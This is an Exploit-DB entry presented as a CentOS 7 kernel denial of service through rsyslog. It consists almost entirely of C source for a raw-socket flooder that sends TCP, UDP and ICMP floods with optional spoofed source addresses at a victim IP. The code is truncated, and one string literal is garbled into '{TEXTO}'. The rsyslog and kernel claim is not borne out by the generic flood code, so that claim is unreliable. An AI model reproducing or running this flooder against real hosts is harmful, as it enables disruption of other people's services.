Exploit-DB #41350
Description: Linux Kernel 3.10.0 (CentOS 7) - Denial of Service
Type: dos
Platform: linux
Date: 2017-02-12
Author: FarazPajohan

Exploit:
/*
#####
#Exploit Title: CentOS7 Kernel Crashing by rsyslog daemon vulnerability | DOS on CentOS7
#Exploit Author: Hosein Askari (FarazPajohan)
#Vendor HomePage: https://www.centos.org/
#Version : 7
#Tested on: Parrot OS
#Date: 12-2-2017
#Category: Operating System
#Vulnerable Daemon: RSYSLOG
#Author Mail :hosein.askari@aol.com
#Description:
#The CentOS7's kernel is disrupted by vulnerability on rsyslog daemon, in which the cpu usage will be 100% until the remote exploit launches on the victim's #server.
****************************
#Exploit Command :
# ~~~#exploit.out -T3 -h <victim_ip> -p [514,514] // You can run this exploit on both "514 TCP/UDP"
#
#Exploit Code :
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#ifdef F_PASS
#include <sys/stat.h>
#endif
#include <netinet/in_systm.h>
#include <sys/socket.h>
#include <string.h>
#include <time.h>
#ifndef __USE_BSD
# define __USE_BSD
#endif
#ifndef __FAVOR_BSD
# define __FAVOR_BSD
#endif
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#ifdef LINUX
# define FIX(x) htons(x)
#else
# define FIX(x) (x)
#endif
#define TCP_ACK 1
#define TCP_FIN 2
#define TCP_SYN 4
#define TCP_RST 8
#define UDP_CFF 16
#define ICMP_ECHO_G 32
#define TCP_NOF 64
#define TCP_URG 128
#define TH_NOF 0x0
#define TCP_ATTACK() (a_flags & TCP_ACK ||\
a_flags & TCP_FIN ||\
a_flags & TCP_SYN ||\
a_flags & TCP_RST ||\
a_flags & TCP_NOF ||\
a_flags & TCP_URG )
#define UDP_ATTACK() (a_flags & UDP_CFF)
#define ICMP_ATTACK() (a_flags & ICMP_ECHO_G)
#define CHOOSE_DST_PORT() dst_sp == 0 ?\
random () :\
htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
#define CHOOSE_SRC_PORT() src_sp == 0 ?\
random () :\
htons(src_sp + (random() % (src_ep -src_sp +1)));
#define SEND_PACKET() if (sendto(rawsock,\
&packet,\
(sizeof packet),\
0,\
(struct sockaddr *)&target,\
sizeof target) < 0) {\
perror("sendto");\
exit(-1);\
}
#define BANNER_CKSUM 54018
u_long lookup(const char *host);
unsigned short in_cksum(unsigned short *addr, int len);
static void inject_iphdr(struct ip *ip, u_char p, u_char len);
char *class2ip(const char *class);
static void send_tcp(u_char th_flags);
static void send_udp(u_char garbage);
static void send_icmp(u_char garbage);
char *get_plain(const char *crypt_file, const char *xor_data_key);
static void usage(const char *argv0);
u_long dstaddr;
u_short dst_sp, dst_ep, src_sp, src_ep;
char *src_class, *dst_class;
int a_flags, rawsock;
struct sockaddr_in target;
const char *banner = "Written By C0NSTANTINE";
struct pseudo_hdr {
u_long saddr, daddr;
u_char mbz, ptcl;
u_short tcpl;
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};
struct {
int gv;
int kv;
void (*f)(u_char);
} a_list[] = {
{ TCP_ACK, TH_ACK, send_tcp },
{ TCP_FIN, TH_FIN, send_tcp },
{ TCP_SYN, TH_SYN, send_tcp },
{ TCP_RST, TH_RST, send_tcp },
{ TCP_NOF, TH_NOF, send_tcp },
{ TCP_URG, TH_URG, send_tcp },
{ UDP_CFF, 0, send_udp },
{ ICMP_ECHO_G, ICMP_ECHO, send_icmp },
{ 0, 0, (void *)NULL },
};
int
main(int argc, char *argv[])
{
int n, i, on = 1;
int b_link;
#ifdef F_PASS
struct stat sb;
#endif
unsigned int until;
a_flags = dstaddr = i = 0;
dst_sp = dst_ep = src_sp = src_ep = 0;
until = b_link = -1;
src_class = dst_class = NULL;
while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) {
char *p;
switch (n) {
case 'T':
switch (atoi(optarg)) {
case 0: a_flags |= TCP_ACK; break;
case 1: a_flags |= TCP_FIN; break;
case 2: a_flags |= TCP_RST; break;
case 3: a_flags |= TCP_SYN; break;

case 4: a_flags |= TCP_URG; break;


}
break;
case 'U':
a_flags |= UDP_CFF;
break;
case 'I':
a_flags |= ICMP_ECHO_G;
break;
case 'N':
a_flags |= TCP_NOF;
break;
case 's':
src_class = optarg;
break;
case 'h':
dstaddr = lookup(optarg);
break;
case 'd':
dst_class = optarg;
i = 1;
break;
case 'p':
if ( (p = (char *) strchr(optarg, ',')) == NULL)
usage(argv[0]);
dst_sp = atoi(optarg);
dst_ep = atoi(p +1);
break;
case 'q':
if ( (p = (char *) strchr(optarg, ',')) == NULL)
usage(argv[0]);
src_sp = atoi(optarg);
src_ep = atoi(p +1);
break;
case 'l':
b_link = atoi(optarg);
if (b_link <= 0 || b_link > 100)
usage(argv[0]);
break;
case 't':
until = time(0) +atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if ( (!dstaddr && !i) ||
(dstaddr && i) ||
(!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
(src_sp != 0 && src_sp > src_ep) ||
(dst_sp != 0 && dst_sp > dst_ep))
usage(argv[0]);
srandom(time(NULL) ^ getpid());
if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(-1);
}
if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
(char *)&on, sizeof(on)) < 0) {
perror("setsockopt");
exit(-1);
}
target.sin_family = AF_INET;
for (n = 0; ; ) {
if (b_link != -1 && random() % 100 +1 > b_link) {
if (random() % 200 +1 > 199)
usleep(1);
continue;
}
for (i = 0; a_list[i].f != NULL; ++i) {
if (a_list[i].gv & a_flags)
a_list[i].f(a_list[i].kv);
}
if (n++ == 100) {
if (until != -1 && time(0) >= until) break;
n = 0;
}
}
exit(0);
}
u_long
lookup(const char *host)
{
struct hostent *hp;

if ( (hp = gethostbyname(host)) == NULL) {
perror("gethostbyname");
exit(-1);
}
return *(u_long *)hp->h_addr;
}
#define RANDOM() (int) random() % 255 +1
char *
class2ip(const char *class)
{
static char ip[16];
int i, j;

for (i = 0, j = 0; class[i] != '{TEXTO}'; ++i)
if (class[i] == '.')
++j;
switch (j) {
case 0:
sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
break;
case 1:
sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
break;
case 2:
sprintf(ip, "%s.%d", class, RANDOM());
break;
default: strncpy(ip, class, 16);
break;
}
return ip;
}
unsigned short
in_cksum(unsigned short *addr, int len)